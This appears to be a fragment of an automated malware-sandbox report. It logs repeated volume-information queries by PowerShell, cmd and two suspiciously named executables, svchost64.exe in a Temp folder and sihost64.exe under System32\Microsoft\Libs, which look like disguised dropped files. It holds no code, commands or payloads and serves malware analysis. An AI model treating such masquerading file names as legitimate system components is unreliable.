Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\svchost64.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Queries volume information: C:\Windows\System32\Microsoft\Libs\sihost64.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\svchost64.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Queries volume information: C:\Windows\System32\Microsoft\Libs\sihost64.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
